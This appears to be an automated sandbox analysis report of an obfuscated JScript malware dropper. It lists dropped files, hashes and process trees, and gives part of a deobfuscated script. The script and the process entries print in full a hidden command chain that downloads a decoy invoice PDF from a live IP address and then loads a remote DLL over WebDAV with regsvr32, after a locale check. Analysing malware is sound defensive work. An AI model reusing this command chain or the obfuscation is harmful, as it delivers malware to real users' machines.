Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17898), with CRLF line terminators
Entropy (8bit):	4.90648507472844
TrID:
File name:	1515610719364115693.js
File size:	21'463 bytes
MD5:	30f85ad92f8deb53107255f2876b7ddc
SHA1:	d5de7ae6afa61338f13bab9fdf0caf92526ba2ee
SHA256:	4ed3dd717e6a27eb197e0f899762939ba6c88ca2e37aa0668238e8c868e3bb8a
SHA512:	f482c6c77e529c0743fb967d520bfee159024a38481fecfbfe9ad06fc75750513f1c721be968bb150206b664e24c4390bcf06094156ddf81e2ab481f50d06da3
SSDEEP:	192:VuWTZeSGFSrEx6jN68s9LNklXuoxVlI/qqetarSNT7kC1SCiV7ofUYv+x1JYNJk6:IWTZeSinO7s+eoxVlI/+txkY+xb1T/E
TLSH:	87A26506A402C60B43F460F6EE8308D555D55ECC457820BDAECB34E6750AF8DAEE76B7
File Content Preview:	function jqqqebj(){byrthaxu=[1031,3079,5127,4103,2055,3072];var ywysdebe=this[ftvuhvdlc+irews+poibml+xuprjf+qkvjpwvkl+gzxrrqvnk+ucidmr+okvvvjq](this[eoqmffkt+bzizfic+yfgjuclpo+poibml+ocqooyno+ftvuhvdlc+okvvvjq][ybfgha+poibml+qkvjpwvkl+irews+okvvvjq+qkvjpw

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	1
Start time:	12:24:34
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1515610719364115693.js"
Imagebase:	0x7ff6bd940000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:24:34
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll
Imagebase:	0x7ff75da10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:24:34
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:24:34
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:24:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	12:24:41
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f0160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:24:41
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7e3200000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:24:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	12:24:42
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	12:24:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1772,i,4121100143196203925,16959727731007823552,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jqqqebj() {	jqqqebj() ➔ undefined
1	byrthaxu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ywysdebe = this[ftvuhvdlc + irews + poibml + xuprjf + qkvjpwvkl + gzxrrqvnk + ucidmr + okvvvjq] ( this[eoqmffkt + bzizfic + yfgjuclpo + poibml + ocqooyno + ftvuhvdlc + okvvvjq][ybfgha + poibml + qkvjpwvkl + irews + okvvvjq + qkvjpwvkl + gwybk + mytnzrgme + jcnqz + qkvjpwvkl + yfgjuclpo + okvvvjq] ( eoqmffkt + bzizfic + yfgjuclpo + poibml + ocqooyno + ftvuhvdlc + okvvvjq + csldtqck + bzizfic + dutkzaxb + qkvjpwvkl + hlbyrgs + hlbyrgs ) [pfncrntfc + qkvjpwvkl + nfjpj + pfncrntfc + qkvjpwvkl + irews + rcpuk] ( ydnnn + xqpsyapiw + rnlvx + ewmdwucj + wejgeqeyk + ybfgha + gwpirwry + pfncrntfc + pfncrntfc + rnlvx + gozpauqpm + wrrmunnnw + wejgeqeyk + gwpirwry + bzizfic + rnlvx + pfncrntfc + sreysngr + ybfgha + zzbpomkq + ucidmr + okvvvjq + poibml + zzbpomkq + hlbyrgs + nlrybj + fjjbfa + irews + ucidmr + qkvjpwvkl + hlbyrgs + sreysngr + gzxrrqvnk + ucidmr + okvvvjq + qkvjpwvkl + poibml + ucidmr + irews + okvvvjq + ocqooyno + zzbpomkq + ucidmr + irews + hlbyrgs + sreysngr + lgjcmgx + zzbpomkq + yfgjuclpo + irews + hlbyrgs + qkvjpwvkl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( pefwtcwlq = 0 ; pefwtcwlq < byrthaxu[hlbyrgs + qkvjpwvkl + ucidmr + nfjpj + okvvvjq + dutkzaxb] ; ++ pefwtcwlq )
4	{
5	if ( ywysdebe == byrthaxu[pefwtcwlq] )
6	{
7	ywysdebe = true;
8	break ;
9	}
10	}
11	if ( ywysdebe !== true )
12	this[eoqmffkt + bzizfic + yfgjuclpo + poibml + ocqooyno + ftvuhvdlc + okvvvjq][cmzeuktz + uhyuti + ocqooyno + okvvvjq] ( );
13	this[eoqmffkt + bzizfic + yfgjuclpo + poibml + ocqooyno + ftvuhvdlc + okvvvjq][ybfgha + poibml + qkvjpwvkl + irews + okvvvjq + qkvjpwvkl + gwybk + mytnzrgme + jcnqz + qkvjpwvkl + yfgjuclpo + okvvvjq] ( eoqmffkt + bzizfic + yfgjuclpo + poibml + ocqooyno + ftvuhvdlc + okvvvjq + csldtqck + bzizfic + dutkzaxb + qkvjpwvkl + hlbyrgs + hlbyrgs ) [poibml + uhyuti + ucidmr] ( yfgjuclpo + pwegonqf + rcpuk + nlrybj + gpast + yfgjuclpo + nlrybj + ftvuhvdlc + zzbpomkq + fwvzrzax + qkvjpwvkl + poibml + xuprjf + dutkzaxb + qkvjpwvkl + hlbyrgs + hlbyrgs + csldtqck + qkvjpwvkl + psijnuibm + qkvjpwvkl + nlrybj + qdyimz + ybfgha + zzbpomkq + pwegonqf + pwegonqf + irews + ucidmr + rcpuk + nlrybj + ewpms + gzxrrqvnk + ucidmr + ohcylcb + zzbpomkq + vbvdk + qkvjpwvkl + qdyimz + eoqmffkt + qkvjpwvkl + mytnzrgme + pfncrntfc + qkvjpwvkl + wtdciwo + uhyuti + qkvjpwvkl + xuprjf + okvvvjq + nlrybj + qdyimz + gwybk + uhyuti + okvvvjq + iuskoawk + ocqooyno + hlbyrgs + qkvjpwvkl + nlrybj + gxvap + okvvvjq + qkvjpwvkl + pwegonqf + ftvuhvdlc + gxvap + sreysngr + ocqooyno + ucidmr + ohcylcb + zzbpomkq + ocqooyno + yfgjuclpo + qkvjpwvkl + csldtqck + ftvuhvdlc + rcpuk + eqcbw + nlrybj + dutkzaxb + okvvvjq + okvvvjq + ftvuhvdlc + ixmhrrlfn + gpast + gpast + olxoh + seddvra + khhnxh + csldtqck + olxoh + gzbrpi + khhnxh + csldtqck + olxoh + csldtqck + isykdber + uadoad + holbs + gpast + ocqooyno + ucidmr + ohcylcb + zzbpomkq + ocqooyno + yfgjuclpo + qkvjpwvkl + csldtqck + ftvuhvdlc + dutkzaxb + ftvuhvdlc + ewpms + blyln + blyln + xuprjf + okvvvjq + irews + poibml + okvvvjq + nlrybj + gxvap + okvvvjq + qkvjpwvkl + pwegonqf + ftvuhvdlc + gxvap + sreysngr + ocqooyno + ucidmr + ohcylcb + zzbpomkq + ocqooyno + yfgjuclpo + qkvjpwvkl + csldtqck + ftvuhvdlc + rcpuk + eqcbw + blyln + blyln + yfgjuclpo + pwegonqf + rcpuk + nlrybj + gpast + yfgjuclpo + nlrybj + ucidmr + qkvjpwvkl + okvvvjq + nlrybj + uhyuti + xuprjf + qkvjpwvkl + nlrybj + sreysngr + sreysngr + olxoh + seddvra + khhnxh + csldtqck + olxoh + gzbrpi + khhnxh + csldtqck + olxoh + csldtqck + isykdber + uadoad + holbs + ghxsevghn + wuucgnhqt + wuucgnhqt + wuucgnhqt + wuucgnhqt + sreysngr + rcpuk + irews + ohcylcb + fwvzrzax + fwvzrzax + fwvzrzax + poibml + zzbpomkq + zzbpomkq + okvvvjq + sreysngr + blyln + blyln + yfgjuclpo + pwegonqf + rcpuk + nlrybj + gpast + yfgjuclpo + nlrybj + poibml + qkvjpwvkl + nfjpj + xuprjf + ohcylcb + poibml + khhnxh + isykdber + nlrybj + gpast + xuprjf + nlrybj + sreysngr + sreysngr + olxoh + seddvra + khhnxh + csldtqck + olxoh + gzbrpi + khhnxh + csldtqck + olxoh + csldtqck + isykdber + uadoad + holbs + ghxsevghn + wuucgnhqt + wuucgnhqt + wuucgnhqt + wuucgnhqt + sreysngr + rcpuk + irews + ohcylcb + fwvzrzax + fwvzrzax + fwvzrzax + poibml + zzbpomkq + zzbpomkq + okvvvjq + sreysngr + isykdber + wuucgnhqt + rzuctwney + seddvra + khhnxh + holbs + seddvra + khhnxh + vlihoo + isykdber + khhnxh + seddvra + gzbrpi + olxoh + csldtqck + rcpuk + hlbyrgs + hlbyrgs, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll",0,false) ➔ 0
14	}
15	okvvvjq = "D";
16	okvvvjq = "K";
17	okvvvjq = "J";
18	okvvvjq = "T";
19	okvvvjq = "A";
20	okvvvjq = "S";
21	okvvvjq = "L";
22	okvvvjq = "t";
23	okvvvjq = "E";
24	okvvvjq = "E";
25	okvvvjq = "W";
26	okvvvjq = "v";
27	okvvvjq = "d";
28	okvvvjq = "p";
29	okvvvjq = "Y";
30	okvvvjq = "w";
31	okvvvjq = "h";
32	okvvvjq = "k";
33	okvvvjq = "M";
34	okvvvjq = "F";
35	okvvvjq = "q";
36	okvvvjq = "C";
37	okvvvjq = "b";
38	okvvvjq = "F";
39	okvvvjq = "G";
40	okvvvjq = "j";
41	okvvvjq = "R";
42	okvvvjq = "Q";
43	okvvvjq = "u";
44	okvvvjq = "t";
45	gwpirwry = "P";
46	gwpirwry = "M";
47	gwpirwry = "e";
48	gwpirwry = "o";
49	gwpirwry = "e";
50	gwpirwry = "D";
51	gwpirwry = "v";
52	gwpirwry = "u";
53	gwpirwry = "y";
54	gwpirwry = "a";
55	gwpirwry = "l";
56	gwpirwry = "B";
57	gwpirwry = "y";
58	gwpirwry = "k";
59	gwpirwry = "d";
60	gwpirwry = "Z";
61	gwpirwry = "M";
62	gwpirwry = "x";
63	gwpirwry = "n";
64	gwpirwry = "i";
65	gwpirwry = "y";
66	gwpirwry = "I";
67	gwpirwry = "f";
68	gwpirwry = "t";
69	gwpirwry = "r";
70	gwpirwry = "y";
71	gwpirwry = "D";
72	gwpirwry = "g";
73	gwpirwry = "I";
74	gwpirwry = "X";
75	gwpirwry = "f";
76	gwpirwry = "C";
77	gwpirwry = "z";
78	gwpirwry = "d";
79	gwpirwry = "a";
80	gwpirwry = "n";
81	gwpirwry = "H";
82	gwpirwry = "j";
83	gwpirwry = "j";
84	gwpirwry = "u";
85	gwpirwry = "j";
86	gwpirwry = "n";
87	gwpirwry = "F";
88	gwpirwry = "W";
89	gwpirwry = "U";
90	jcnqz = "e";
91	jcnqz = "P";
92	jcnqz = "z";
93	jcnqz = "J";
94	jcnqz = "r";
95	jcnqz = "I";
96	jcnqz = "K";
97	jcnqz = "L";
98	jcnqz = "U";
99	jcnqz = "W";
100	jcnqz = "k";
101	jcnqz = "c";
102	jcnqz = "f";
103	jcnqz = "n";
104	jcnqz = "D";
105	jcnqz = "R";
106	jcnqz = "O";
107	jcnqz = "n";
108	jcnqz = "s";
109	jcnqz = "o";
110	jcnqz = "w";
111	jcnqz = "s";
112	jcnqz = "g";
113	jcnqz = "A";
114	jcnqz = "D";
115	jcnqz = "W";
116	jcnqz = "a";
117	jcnqz = "i";
118	jcnqz = "j";
119	khhnxh = "e";
120	khhnxh = "d";
121	khhnxh = "C";
122	khhnxh = "V";
123	khhnxh = "Z";
124	khhnxh = "Y";
125	khhnxh = "t";
126	khhnxh = "3";
127	poibml = "k";
128	poibml = "E";
129	poibml = "g";
130	poibml = "f";
131	poibml = "y";
132	poibml = "s";
133	poibml = "Y";
134	poibml = "O";
135	poibml = "L";
136	poibml = "W";
137	poibml = "d";
138	poibml = "m";
139	poibml = "C";
140	poibml = "I";
141	poibml = "J";
142	poibml = "v";
143	poibml = "C";
144	poibml = "M";
145	poibml = "S";
146	poibml = "r";
147	poibml = "n";
148	poibml = "f";
149	poibml = "L";
150	poibml = "r";
151	vbvdk = "w";
152	vbvdk = "P";
153	vbvdk = "g";
154	vbvdk = "i";
155	vbvdk = "J";
156	vbvdk = "r";
157	vbvdk = "t";
158	vbvdk = "n";
159	vbvdk = "U";
160	vbvdk = "u";
161	vbvdk = "a";
162	vbvdk = "W";
163	vbvdk = "U";
164	vbvdk = "p";
165	vbvdk = "w";
166	vbvdk = "r";
167	vbvdk = "g";
168	vbvdk = "Z";
169	vbvdk = "K";
170	vbvdk = "s";
171	vbvdk = "a";
172	vbvdk = "O";
173	vbvdk = "O";
174	vbvdk = "b";
175	vbvdk = "P";
176	vbvdk = "G";
177	vbvdk = "F";
178	vbvdk = "p";
179	vbvdk = "v";
180	vbvdk = "y";
181	vbvdk = "f";
182	vbvdk = "X";
183	vbvdk = "s";
184	vbvdk = "p";
185	vbvdk = "D";
186	vbvdk = "d";
187	vbvdk = "C";
188	vbvdk = "L";
189	vbvdk = "s";
190	vbvdk = "n";
191	vbvdk = "E";
192	vbvdk = "k";
193	gxvap = "z";
194	gxvap = "l";
195	gxvap = "S";
196	gxvap = "O";
197	gxvap = "M";
198	gxvap = "f";
199	gxvap = "J";
200	gxvap = "Q";
201	gxvap = "R";
202	gxvap = "k";
203	gxvap = "R";
204	gxvap = "m";
205	gxvap = "c";
206	gxvap = "O";
207	gxvap = "J";
208	gxvap = "n";
209	gxvap = "r";
210	gxvap = "D";
211	gxvap = "C";
212	gxvap = "E";
213	gxvap = "t";
214	gxvap = "w";
215	gxvap = "r";
216	gxvap = "e";
217	gxvap = "u";
218	gxvap = "K";
219	gxvap = "%";
220	ohcylcb = "S";
221	ohcylcb = "G";
222	ohcylcb = "N";
223	ohcylcb = "t";
224	ohcylcb = "Q";
225	ohcylcb = "I";
226	ohcylcb = "O";
227	ohcylcb = "L";
228	ohcylcb = "P";
229	ohcylcb = "K";
230	ohcylcb = "a";
231	ohcylcb = "R";
232	ohcylcb = "R";
233	ohcylcb = "u";
234	ohcylcb = "u";
235	ohcylcb = "u";
236	ohcylcb = "T";
237	ohcylcb = "Y";
238	ohcylcb = "A";
239	ohcylcb = "E";
240	ohcylcb = "X";
241	ohcylcb = "r";
242	ohcylcb = "S";
243	ohcylcb = "v";
244	ohcylcb = "I";
245	ohcylcb = "C";
246	ohcylcb = "x";
247	ohcylcb = "c";
248	ohcylcb = "P";
249	ohcylcb = "N";
250	ohcylcb = "i";
251	ohcylcb = "k";
252	ohcylcb = "a";
253	ohcylcb = "b";
254	ohcylcb = "m";
255	ohcylcb = "X";
256	ohcylcb = "d";
257	ohcylcb = "O";
258	ohcylcb = "v";
259	psijnuibm = "d";
260	psijnuibm = "s";
261	psijnuibm = "K";
262	psijnuibm = "D";
263	psijnuibm = "U";
264	psijnuibm = "R";
265	psijnuibm = "k";
266	psijnuibm = "m";
267	psijnuibm = "d";
268	psijnuibm = "K";
269	psijnuibm = "C";
270	psijnuibm = "R";
271	psijnuibm = "B";
272	psijnuibm = "p";
273	psijnuibm = "q";
274	psijnuibm = "B";
275	psijnuibm = "t";
276	psijnuibm = "Y";
277	psijnuibm = "g";
278	psijnuibm = "O";
279	psijnuibm = "w";
280	psijnuibm = "W";
281	psijnuibm = "F";
282	psijnuibm = "v";
283	psijnuibm = "G";
284	psijnuibm = "E";
285	psijnuibm = "x";
286	psijnuibm = "i";
287	psijnuibm = "h";
288	psijnuibm = "e";
289	psijnuibm = "i";
290	psijnuibm = "e";
291	psijnuibm = "l";
292	psijnuibm = "d";
293	psijnuibm = "M";
294	psijnuibm = "D";
295	psijnuibm = "L";
296	psijnuibm = "Y";
297	psijnuibm = "x";
298	isykdber = "K";
299	isykdber = "f";
300	isykdber = "h";
301	isykdber = "J";
302	isykdber = "Q";
303	isykdber = "p";
304	isykdber = "q";
305	isykdber = "Z";
306	isykdber = "L";
307	isykdber = "K";
308	isykdber = "w";
309	isykdber = "j";
310	isykdber = "G";
311	isykdber = "I";
312	isykdber = "E";
313	isykdber = "u";
314	isykdber = "o";
315	isykdber = "T";
316	isykdber = "E";
317	isykdber = "d";
318	isykdber = "m";
319	isykdber = "k";
320	isykdber = "u";
321	isykdber = "D";
322	isykdber = "w";
323	isykdber = "n";
324	isykdber = "G";
325	isykdber = "v";
326	isykdber = "v";
327	isykdber = "f";
328	isykdber = "J";
329	isykdber = "Q";
330	isykdber = "v";
331	isykdber = "i";
332	isykdber = "M";
333	isykdber = "C";
334	isykdber = "a";
335	isykdber = "p";
336	isykdber = "E";
337	isykdber = "Z";
338	isykdber = "r";
339	isykdber = "w";
340	isykdber = "a";
341	isykdber = "M";
342	isykdber = "2";
343	ewmdwucj = "W";
344	ewmdwucj = "R";
345	ewmdwucj = "V";
346	ewmdwucj = "r";
347	ewmdwucj = "m";
348	ewmdwucj = "t";
349	ewmdwucj = "H";
